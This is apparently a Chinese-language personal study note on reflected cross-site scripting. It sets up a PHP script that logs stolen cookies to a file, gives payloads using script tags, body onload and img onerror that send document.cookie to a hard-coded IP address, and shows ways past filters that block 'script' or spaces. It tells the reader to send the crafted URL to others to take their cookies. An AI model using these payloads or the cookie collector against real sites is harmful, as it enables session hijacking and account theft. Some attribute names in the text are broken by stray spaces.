前言:终于继续来学习xss了
1 反射型xss
xss是跨站脚本攻击的缩写,本来应该写成css,但和层叠样式表(css)重合了,就改叫xss了
1.1无过滤反射型xss
就和名字一样,服务器收到你传递的数据后就直接传递给了前端页面上,然后在前端页面进行显示。
这时候我们直接传入js代码,然后通过js来进行获取cookie等操作。
至于无过滤xss,就是什么过滤都没加的xss.
具体的操作:
第一步:配置xss平台,如果你有自己的服务器和网站自然好,在网站里配置这样的一个php文件
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>
注意服务器要给对应的用户开写入权限,要不然会500.
然后构造以下payload
<script>location.href="http://8.130.47.46/test.php?cookie="+document.cookie</script>
使用这个payload传入后获取url,然后将此url发送给别人,从而获得他的cookie
1.2 过滤script
如果对script进行过滤要怎么构造payload呢?这时候要用到onload事件了
onload事件通常用于<body>
中,在页面完全载入后触发,会执行作为属性值的js代码
明白了原理我们来构造payload
<body onl oad=location.href="http://8.130.47.46/test.php?cookie="+document.cookie></body>
这里有个点需要强调以下,此处由于网址用双引号包括,故整体的属性值不能用双引号包含,否则会不
符合输入格式
这里介绍第二种方式
<img src="" one rror=location.href="http://8.130.47.46/test.php?cookie="+document.cookie>
这里介绍以下img标签的onerror属性 和名字相符合,在加载src的图片错误时会进行执行其属性的j
avascript内容,我们在上面设置的src 为空,所以会加载错误,然后执行我们需要的内容。
1.3 对空格进行过滤
对于空格,由于js种/**/
是注释,不会进行解析,所以可以使用/**/
绕过空格过滤
在标签中进行过滤有一种特殊的方式绕过标签名和属性名之间的空格。
<body/onload=...>
结构中的 /
实际上是在 HTML 标签内部利用了一种技巧来绕过某些安全检查。
在这里,/
的使用是为了结束标签的属性,使得后续的输入被解析为一个新的属性。常规的属性-值对在 HTML 中是通过空格分隔的,例如:
htmlCopy code
<body onl oad="...">
但如果由于某种原因,你不能或不想在载荷中使用空格(例如,某些过滤规则可能会移除或阻止空格的使用),那么可以使用 /
来绕过此限制。在上述情况下,<body/onload=...>
会被浏览器解析为:
- 一个名为
body
的标签; - 一个名为
onload
的属性,其值为后面的 JavaScript 代码。